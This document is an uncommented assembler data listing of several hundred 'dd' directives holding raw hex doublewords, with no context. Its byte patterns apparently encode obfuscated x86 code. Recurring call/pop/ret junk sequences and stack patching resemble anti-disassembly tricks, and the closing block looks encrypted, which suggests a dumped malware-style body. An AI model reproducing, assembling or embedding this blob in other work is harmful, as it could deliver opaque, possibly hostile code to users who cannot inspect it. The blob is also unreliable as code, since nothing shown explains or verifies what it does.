		dd 2B1DA1B5h, 0D8B60F06h, 6BAF8h, 840F0000h, 0Ch, 6840Fh
		dd 0EE810000h, 3AA1D655h, 6AC38Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 849E81C3h, 0B3978185h
		dd 10D0A0BFh, 4E8C130h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0F0C35545h, 8D312E0Bh, 62B172Dh, 6AE2F766h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 7C69C355h, 60A3CB0Dh, 0BE9h, 0FC442000h
		dd 16043B89h, 0CDA3A83Eh, 6E960h, 96750000h, 11EAEB13h
		dd 0BE7ED681h, 61616444h, 0E870F53h, 0E9000000h, 9, 0CC5F8E54h
		dd 0BF2B9308h, 0D82B5FADh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 6DC35646h, 9501D17Ch,	62B1CB5h, 20FDBD8Bh
		dd 6650062Bh, 1C89F08Bh, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 8D89CB7Dh, 62B1631h, 2909B5FFh
		dd 6A062Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0FF9DACC3h, 2B294595h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0EE902h, 16D80000h
		dd 0FDDF27AAh, 58DC79h,	32A9896Ah, 6A00B0h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0D63F2CC3h
		dd 0B1553E8Dh, 0BD8BB711h, 62B215Dh, 6A70E6h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0B58B84C3h
		dd 62B2B41h, 6840Fh, 0BD8B0000h, 62B2905h, 6A71E4h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 6EF9FCC3h, 613CC59Fh, 269830Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 31F6F6C3h
		dd 4D932A03h, 1548F81h,	2B05DD95h, 0D8B60F06h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 4C35343h, 2BEA6750h
		dd 2B1789BDh, 6BA06h, 0BE660000h, 0C38B2730h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 98C35242h, 391F49C3h
		dd 810FA535h, 6, 15E1BD29h, 8529062Bh, 62B10D1h, 6A04E8C1h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 7678C351h, 1FBCEBADh, 0BE872h, 0A1BD0000h
		dd 0F552AAD3h, 79DA8DBAh, 0F7665E73h, 57006AE2h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 59BB3D3Ah, 0D82B84ADh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 22C35747h, 63D26A1Bh,	305C9BA6h, 83D68166h
		dd 6A58CBh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 0EA32BDC3h, 61003552h, 0E9766A57h, 0Dh, 0C3CCB28h
		dd 6980C482h, 7E636A12h, 0FEB70FCBh, 880FD82Bh,	10Fh, 7CEF8152h
		dd 5E027CE9h, 7B9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0AE99Ch, 2ECC0000h, 95455BFCh
		dd 22DCDBFEh, 100C183h,	2B215DBDh, 0FD93B06h, 0C686h, 0F9B70F00h
		dd 6AD98C66h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0F637C350h, 840F04C1h,	70h, 2FD9B589h
		dd 95FF062Bh, 62B3569h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0DFC35747h, 0DE9BBh, 22290000h, 9C7E224h
		dd 83D80CB2h, 5B7BD130h, 0F9C32BFCh, 8343Dh, 25860F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0ACE2C357h, 2CE9F88Bh,	0F8000000h
		dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 11A9F6C3h, 34ADBD8Bh, 8166062Bh, 8BE969D6h
		dd 0E8D88BC3h, 0Ah, 67F056A9h, 6DB6F34Ah, 8E0F3CD2h, 1
		dd 85C75EF8h, 62B1BF1h,	5E2C693Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 46C35141h, 45EB740Ah, 8BD19DE5h
		dd 81F38BC0h, 2B2909BDh, 7D006h, 32850F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 6D09C356h, 852AF1Bh, 89FB43A9h, 2B0CB5B5h
		dd 985FF06h, 8B062B29h,	9B5FFFEh, 8B062B29h, 2B11B1BDh
		dd 0FFF18B06h, 2B294595h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0C764F59Ch
		dd 701A386Bh, 49BD2390h, 0F062B0Ah, 2780h, 7E900h, 0C40000h
		dd 0FF662426h, 0FE816h
		dd 0F42A0000h, 0E0C0341Ah, 47351328h, 1632B124h, 0B1B533ACh
		dd 5F062B02h, 0B58BFE8Bh, 62B2F59h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 98C35242h, 0FB8B6653h, 0AADBD8Bh
		dd 0BF5F062Bh, 3A7C68A4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0F1C35343h, 2324692Ah, 0E4105CFBh, 0BF0FF5E2h
		dd 0EDBD2BFAh, 66062B0Ah, 0B58BF08Bh, 62B2F1Dh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 11C35646h, 0FAF3CED8h
		dd 574C66F3h, 52006AFCh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 8B6BF194h, 2B2999BDh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0BE661EEDh, 8E9E376h, 6AFFFFF7h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 153AC355h
		dd 1097B82Ch, 0AC3F8269h, 8BF9BF0Fh, 6DB50BC1h,	0EB062B18h
		dd 4, 0FE0EBF00h, 6A5FDBh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0A751E6C3h, 77CBE66h
		dd 827BD9BFh, 0C1858D30h, 8B062B2Fh, 0BE5750F8h, 20D571A8h
		dd 2404895Fh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 14h,	0D4C35545h, 1C89B589h, 6A062Bh,	19099D89h, 6A062Bh
		dd 1DC1B529h, 858D062Bh, 62F0A0Eh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0A6C35141h,	9C295AA2h, 0C0833E01h
		dd 398D0905h, 66062B09h, 0E890FA8Bh, 7,	3C7E1A06h, 0BFB623F1h
		dd 68F7385Ch, 0BF66505Eh, 390EE3Ch, 2B080DBDh, 6A006A06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 1DA1C353h, 6A59E4h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 39C35646h, 862D45E3h, 11E9E1h
		dd 117B0000h, 9339E5D9h, 13D9374Ah, 0BD3F19D4h,	0FF8C0FE0h
		dd 2B34E195h, 39B50106h, 8B062B17h, 0AA9D8DFAh,	81062EA6h
		dd 862118E6h, 66D3FF41h, 8E8F18Bh, 0C1000000h, 6B06959Dh
		dd 0E9117E09h, 8, 61685D3Ah, 0BE9BF8AFh, 0D85FF5Eh, 57062B1Eh
		dd 0A2D78166h, 54E95FA4h, 0E8000008h, 0
		dd 18ED815Dh, 0E9062F0Ah, 5, 4CB5078h, 9BD8126h, 0D0062B29h
		dd 0F000007h, 14B86h, 13E900h, 0E4720000h, 5D0E4044h, 25CA73D4h
		dd 0C5C26E12h, 285CF358h, 4D9D8B4Fh, 8B062B0Dh,	2B19C1B5h
		dd 0E38106h, 0F9000001h, 850FDB0Bh, 0B3h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ah, 3EC35040h, 7B8F0E82h
		dd 0EE9FC7Ah, 0DA000000h, 0F7D619DDh, 40FC2DCBh, 0E8EA3096h
		dd 0A5BD8307h, 62F08h, 50840Fh,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 7C5C87C3h
		dd 958040B6h, 2E19BD03h, 71E9062Bh, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0D657C350h, 2F21B58Bh, 85C7062Bh, 62F08A5h, 1, 8DF8166h
		dd 6E8E0h, 0F33A0000h, 0D34F6526h, 2DE95FF8h, 0C7000000h
		dd 2F08A585h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 9589E231h, 62B0BBDh, 0D4D9D8Dh
		dd 6A062Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 65CCAAC3h, 0CBC9E4CDh, 0D19D890Fh, 81062B1Ch
		dd 0FFFEFF23h, 0F0B70FFFh, 6ADB8C66h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 34B6C352h
		dd 61BD8B9Ch, 0F6062B2Ah, 840F04C3h, 56h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 14h, 88C35747h, 24E18D89h
		dd 0B58B062Bh, 62B0EDDh, 356995FFh, 8B66062Bh, 0BF6690FAh
		dd 6650F2E4h, 903702BEh, 0F2B70F53h, 10E95Fh, 70700000h
		dd 4FE7344Fh, 1CA4C3C5h, 199EFC43h, 20E99991h, 2B000004h
		dd 2B2EE1BDh, 8900B006h, 2B09FDB5h, 6A70E606h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0E6C8C353h, 1D73FD89h, 71E45ECEh, 8BD8B60Fh,	2B0E01BDh
		dd 0BEBF6606h, 6BA06h, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0FB583DC3h, 0E91238B3h
		dd 0Ah,	697E11C6h, 83A7C730h, 0C38B38F1h, 0BE9h, 7C00BA00h
		dd 68206FAh, 19D955Ah, 0F04E8C1h, 684h,	51850900h, 66062B0Dh
		dd 3357E2F7h, 2B2C81B5h, 0D82B5E06h, 10E951h, 0A2EB0000h
		dd 0F7DE2D2Dh, 6324A943h, 1DBAE510h, 935FE30Fh,	77FBF66h
		dd 0F4BF6650h, 6A9332h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0FF8E8BC3h, 2B2909B5h, 0DDBD8B06h
		dd 0FF062B29h, 2B294595h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 545CDF40h
		dd 0C6AB36A6h, 0BF66ECEFh, 0B05E5Eh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0C7C35242h,	0E3FC9674h, 5EF81DEh
		dd 0F1EAEC6h, 688h, 45B58B00h, 0F5062B0Bh, 6A70E6h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 71D075C3h, 52EA32BDh, 66610035h, 0E47F3EBEh,	53006A71h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 8B661C60h, 0F613CFAh, 27683h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 983655A5h
		dd 0BE668165h, 9D2919FEh, 62B1EA5h, 0FD8B60Fh, 480h, 0F4BE6600h
		dd 6BADDh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 49DEA7C3h, 3DDC8C2Ch, 8BDB58Bh
		dd 0C38B062Bh, 8D1B501h, 0E8C1062Bh, 57006A04h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0E9A1AF80h
		dd 0Fh,	17B7F108h, 41C16F48h, 18C82192h, 0E942EC05h, 12h
		dd 87D913ACh, 9E4D5EE1h, 1E160F8h, 0DC0C7689h, 0F7668FBDh
		dd 57006AE2h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0CDB589C8h, 2B062B2Fh, 218529D8h, 58062B0Bh
		dd 4E9F67BFh, 0FD82B4Ch, 18288h, 0E7816600h, 7B93958h
		dd 66000000h, 0C183FE8Bh, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 8FDF29AFh
		dd 1C1BDCC2h, 0F2BF0F28h, 0F8E0F60h, 0E9000000h, 0Ah, 0C6C35FABh
		dd 0B0EED2B7h, 47B08C44h, 0FD93B61h, 12A86h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 168276C7h, 832FA93Ch, 0FDD4D781h, 0BD89390Bh, 62B1BD9h
		dd 0FD98C66h, 0BF0FF0BFh, 4C1F6F9h, 0E1840Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0B9B82EC3h, 0DE2B6499h, 0B52B10A5h, 62B2E51h, 356995FFh
		dd 6A062Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 41DFC3h, 0F4F64FDh, 0D8Ch, 0A9B96000h, 890BB15Ah
		dd 2B1E5D9Dh, 9D896106h, 62B0CC9h, 2BFA8B5Bh, 53006AC3h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0DB7BDEC9h, 4FC81E3Bh, 8D0F6AFCh, 2,	0BD89F08Bh, 62B0A31h
		dd 8343Dh, 34860F00h, 57000000h, 3029B58Bh, 0E95F062Bh
		dd 2Fh,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h
		dd 18C35242h, 6FCF33CEh, 65BD8B2Eh, 8B062B27h, 4D9D29C0h
		dd 8B062B32h, 6AD88BC3h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 7B16C353h, 17C985C7h
		dd 9359062Bh, 0BD0B7F2Bh, 62B02DDh, 5AE9BE66h, 6AC08Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 1FE676C3h, 0F2B70FFCh, 71C78166h, 9BD8175h, 0D0062B29h
		dd 0F000007h, 0E85h, 0A5B53100h, 0FF062B1Fh, 2B290985h
		dd 0FFFB8B06h, 2B2909B5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0D8158E6Ah
		dd 3C666312h, 5E9h, 6C4D9400h, 95FF2EF8h, 62B2945h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 91C35646h, 9C34B698h
		dd 13E81922h, 51000000h, 0DAFAA8AFh, 9EA75C00h,	8BEE0FD2h
		dd 0ED9A46EDh, 0BD8B7D1Fh, 62B10A5h, 6A905Eh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 9A86F4C3h
		dd 9E8h, 0AA9B8400h, 2F23384Ah,	85894B5Dh, 62B1EF9h, 0BE66F55Eh
		dd 6AB431h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 53B45AC3h, 2417C33Eh, 52006A81h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0F2FBE9F9h
		dd 0B30BA3BEh, 6ACAC8h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 29FE18C3h, 2B358D95h, 65958906h
		dd 6A062B27h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 16C9C356h, 85296AE9h, 62B0539h
		dd 0B880Fh, 0E7810000h,	590B634Fh, 6B464DBEh, 0FDEEBE35h
		dd 8B6621FAh, 685EBFF2h, 0A8BF66F0h, 6A6F10DEh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0BDDDC356h, 885F6A46h, 0E9ABC65Fh, 0FFFFF7D3h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 7DC35242h
		dd 60DFB591h, 2BC59D0Bh, 8B61062Bh, 0FB8B66C1h,	4EBh, 0B70F0000h
		dd 55006AF6h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 2B14E851h, 2FC1858Dh, 0BF0F062Bh, 0BE6690FFh
		dd 6650A188h, 90B98ABEh, 6AF98B66h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 13445563h
		dd 8247F391h, 91ECDF81h, 6A135Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 44C35343h, 7BA8E6F9h, 0B13B44BDh
		dd 0F7BF0F1Fh, 13EC858Dh, 6A062Fh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 3FCDCEC3h, 1099BD8Bh
		dd 0BE66062Bh, 0C0833582h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0BFE451Ah
		dd 0D1406D8Ch, 0F7817BABh, 170416EDh, 26B19529h, 8589062Bh
		dd 62B202Dh, 46C9BE90h,	90503088h, 2EE18D89h, 6A062Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0E8C35343h
		dd 6A5EEFh, 58E0Fh, 81660000h, 0FF6AABF7h, 2B34E195h, 0F0BF0F06h
		dd 8E960h, 0DADC0000h, 0A49333D2h, 8D61016Ch, 2EA6AA9Dh
		dd 0C9850906h, 0FF062B15h, 0D85FFD3h, 6A062B1Eh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0F5FFC351h, 83CE9h, 0E800h, 815D0000h, 2F13F6EDh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 23C1412Eh, 0B23EE046h, 0BE66C89Bh, 0BD81648Dh, 62B2909h
		dd 7D0h, 146860Fh, 0DE810000h, 4D2FAD34h, 2AE59D8Bh, 870F062Bh
		dd 6, 32E5B58Bh, 0E381062Bh, 100h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 56C35141h, 0E71C6802h, 502408E7h
		dd 99BD0BC7h, 0B062B1Fh, 94850FDBh, 83000000h, 2F126EBDh
		dd 840F0006h, 24h, 58D0Fh, 23BF0000h, 0E91FD0EBh, 87h
		dd 1858960h, 2B062B0Eh,	2B171D85h, 0B58B6106h, 62B2B21h
		dd 126E85C7h, 1062Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 300A3AC3h, 8F0E823Eh
		dd 99B50B50h, 5E062B33h, 3AE9h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0EBD39078h
		dd 0C963EB2Ah, 49858948h, 0C7062B20h, 2F126E85h, 6, 830F00h
		dd 8D000000h, 2B2AE59Dh, 5BD2906h, 52062B1Dh, 2195BD01h
		dd 815F062Bh, 0FFFEFF23h, 14E9FFh, 6A2C0000h, 7712847Dh
		dd 49D92D96h, 32F19DC5h, 0E4A40B56h, 13E86346h,	0C000000h
		dd 0B99BC994h, 2201D86Ah, 8316534Ch, 0A42F316h,	0F607D28h
		dd 5E61F6B7h, 0F6DB8C66h, 840F04C3h, 62h, 2870Fh, 5F530000h
		dd 356995FFh, 6A062Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0AD1615C3h, 10B1B58Bh, 6690062Bh
		dd 50193DBFh, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 33605CABh, 2B2C11B5h, 0CE816606h
		dd 3AE9F74Fh, 0E9000004h, 6, 0DC97241Dh, 0B0C25Eh, 0E6F8B70Fh
		dd 31958970h, 0E4062B33h, 0C5950171h, 0F062B34h, 6AD8B6h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 65F51FC3h, 33D67D9Ch, 4AEFBED7h, 6BA36DBh, 8B000000h
		dd 119D89C3h, 0C1062B01h, 6A04E8h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 2503FAC3h, 66FDF871h
		dd 880FE2F7h, 9, 38E0Fh, 8B660000h, 0AE9F0h, 1E570000h
		dd 7FE56F4Ch, 7AA6108Eh, 0BD8BD82Bh, 62B26D5h, 48D78166h
		dd 0BE6650B0h, 1C89D756h, 0E1850924h, 0FF062B06h, 2B2909B5h
		dd 0F6816606h, 95FF4DE9h, 62B2945h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 9CC35242h, 8B62DC1Bh, 2B2B4DBDh
		dd 0D2C78106h, 0B008947Ah, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0F5A03BF5h
		dd 98BF7080h, 59B6C781h, 0BD8B3F17h, 62B2979h, 6120B060h
		dd 6A70E6h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0B4282BC3h, 671CE8E9h, 0FE9h, 0DC06AC00h
		dd 89833F7Fh, 8B6269B0h, 0FADC1301h, 6A71E4F8h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 1C33C357h, 159938C0h, 353DBD29h, 613C062Bh, 2A7830Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 895696C3h, 2B32898Dh, 0BD8B5F06h,	62B2475h
		dd 0BAD8B60Fh, 6, 0D41BD31h, 0C38B062Bh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 15h, 0E4C35141h, 6E9529Dh
		dd 0BF000000h, 5C70C773h, 0E8C15E77h, 55006A04h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 0BD027DB0h, 0F76649C5h, 57006AE2h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0A4ACE0A4h
		dd 24F7F681h, 0D82B6538h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 3EC35545h, 289608F9h,	0F799179h, 58Ch
		dd 0E7816600h, 0BF668768h, 89583886h, 2B11E5B5h, 0FD82B06h
		dd 1B488h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 0B3EA7D08h, 51E3ABF9h, 0A78DBF66h
		dd 0DE85Eh, 1E1F0000h, 372B4B04h, 176883D0h, 0E90694B3h
		dd 0Bh,	26B9DFC3h, 0D689A1D3h, 5E2231E7h, 0DD9BD8Bh, 7B9062Bh
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0C6AAC352h, 1D7E5D08h,	0D9D1FE6Bh
		dd 60FE8B66h, 6966B966h, 615EFC50h, 6A00C183h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 6E2CC356h, 76BCF434h, 0D93BF78Bh, 0FF860Fh, 81660000h
		dd 667BE9CEh, 6AD98Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 495C22C3h, 172CFAE2h, 0E9D48B67h
		dd 5, 0B3AFE2BCh, 4C1F6ACh, 88840Fh, 95FF0000h,	62B3569h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0DC35545h
		dd 0D217F168h, 0FE4C5F0Eh, 0EE94Ch, 0EC1D0000h,	40E43EBAh
		dd 5532B6EEh, 0EFD6419Dh, 2BFA8B5Bh, 56006AC3h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0B529511Fh
		dd 62B1701h, 1F498589h,	343D062Bh, 0F000008h, 1186h, 89BD8B00h
		dd 0E9062B29h, 3Dh, 33919D89h, 0C08B062Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0E6C35343h, 10A437AFh
		dd 0A52D6A7Ch
		dd 810Fh, 81660000h, 89C294E7h,	2B2C6185h, 8BC38B06h, 89B58BD8h
		dd 0C7062B1Eh, 2B0D4D85h, 1BB3B306h, 57006A30h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 10653100h
		dd 66600477h, 0EE81C28Bh, 2FBD0437h, 0FCC08B61h, 2909BD81h
		dd 7D0062Bh, 850F0000h,	1Ch, 290985FFh,	890F062Bh, 10h
		dd 9E8h, 0A78BD800h, 0C08EAF87h, 5EF8AABAh, 2909B5FFh
		dd 6A062Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 6986E5C3h, 0B4969CE8h, 8B66284Fh,	4595FFF2h
		dd 6A062B29h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 94A5C357h, 1E7D94A0h, 72B9609Ah
		dd 667558D1h, 61E4F0BFh, 2199B58Bh, 8B90062Bh, 2B34BDBDh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0D5467E64h, 0C781661Ah, 0DE8B27Dh, 0F1000000h
		dd 6F4817B7h, 219241C1h, 0EC0518C8h, 9E8h, 0F0486200h
		dd 0E72521B9h, 0F18B7656h, 6A5F5Fh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0B70FA0C3h
		dd 55006AFBh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0B58B51CEh, 62B29E1h, 4C7815Fh, 0E96328F3h
		dd 0Dh,	32325599h, 60183D19h, 78CACCC1h, 53006ABAh, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 304CD9h, 7857BED2h, 6E91B8Ah, 0E3000000h, 0DD1EF6ADh
		dd 63BE66F5h, 12E9D4h, 0A9000000h, 50E6710Bh, 9626C269h
		dd 0D05D324Eh, 0F7712A29h, 0B19B589h, 0F852062Bh, 0F38B665Eh
		dd 0FFF7ECE9h, 56006AFFh, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 66D2C4C4h, 31CA45BEh
		dd 2B2C9185h, 14E906h, 2FA20000h, 327Ah, 3 dup(0)
		dd 21E90000h, 0CA000005h, 1C7BB791h, 6C8B0739h,	0BDDAD6E8h
		dd 966A2BAh, 46B36F51h,	6E500693h, 3F0955B2h, 89B3A4C3h
		dd 5472F20Dh, 5F6D8258h, 92C4DCADh, 818CA4A0h, 0B70AE1C7h
		dd 21D99A3h, 38876442h,	4781DD38h, 11BEDA64h, 0B94C9B62h
		dd 0CDBA7C21h, 0AB9ABAD0h, 0B0434A83h, 89D6F66Dh, 9B70560Ah
		dd 9E770687h, 0A3B30473h, 80DDCAF1h, 12232D65h,	0EE1FBB34h
		dd 5EED9175h, 0EBADB832h, 0C88ECD94h, 4C535AF6h, 99F63214h
		dd 0E700FCC0h, 1E7D4E72h, 812B393Ch, 6894EBADh,	77EBD0F2h
		dd 1D00F0DBh, 0E8DC8529h, 8894232Ch, 94EBADE6h,	8F6C5007h
		dd 4D071A93h, 0BDA1FC6Bh, 5D73028Bh, 94EBADCCh,	3A685CE5h
		dd 7D974730h, 7BF503AEh, 0E94EBA1h, 6B0C9910h, 0CE000000h
		dd 3F22C781h, 0C09C2E3Ah, 69F194EBh, 765AB1CDh,	94EBC0EAh
		dd 312762CDh, 59B294CCh, 3846A5C1h, 0C4C5FF5Fh,	0D4B3675Bh
		dd 5671B882h, 7D96DA1Ch, 0AC0h,	2F1A8900h, 6FDC1DF9h, 81D6F435h
		dd 0BA01EADAh, 0F74AA1A7h, 2C73587Ch, 66B51628h, 0ACFFCCF2h
		dd 7CFD3B7h, 0D0BFC736h, 58D1C05Ch, 350B4E64h, 80A69EF9h
		dd 2719004h, 271E5044h,	0AB94AA01h, 28B8C12h, 8A615BFFh
		dd 64DF2037h, 74C72440h, 0A6A0BAD9h, 4BF43545h,	152F3377h
		dd 0E0C67E99h, 9EA0B40Bh, 0D8AC554Dh, 9753D0AAh, 55630E7Dh
		dd 94EBBEDBh, 0BE34B6C2h, 0D14994EBh, 0E0B574EAh, 7Ch
		dd 0E7D981E2h, 0C0451D78h, 0A00BA781h, 419C6F9Eh, 0CFBA251Bh
